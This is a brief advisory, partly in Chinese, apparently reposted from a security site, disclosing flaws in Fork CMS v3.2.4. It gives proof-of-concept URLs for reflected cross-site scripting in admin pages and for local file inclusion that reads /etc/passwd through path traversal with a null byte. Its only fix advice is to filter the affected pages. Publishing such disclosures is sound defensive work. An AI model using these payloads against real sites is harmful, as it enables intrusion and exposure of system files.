标题: Fork CMS v.3.2.4  - Multiple Vulnerabilities
开发商: http://www.fork-cms.com
作者: RandomStorm  - http://www.randomstorm.com
#  Avram Marius Gabriel (d3v1l)
测试平台: Windows XP & Vista
管理面板反射型跨站(XSS)
测试:
#  http://www.2cto.com /blog/settings?token=true&report=</script><script>alert(1)</script>
#  http://www.2cto.com /users/index?token=true&error=</script><script>alert(1)</script>

本地文件包含( LFI )
#  POC:
#  http://www.2cto.com /frontend/js.php?module=../../../../../../../../../../../../../../etc/passwd%00&file=frontend.js&language=en

#关于程序: Fork CMS is dedicated to creating a user friendly environment to build,monitor and update your website.
 
www.2cto.com提供修复
 
过滤相应页面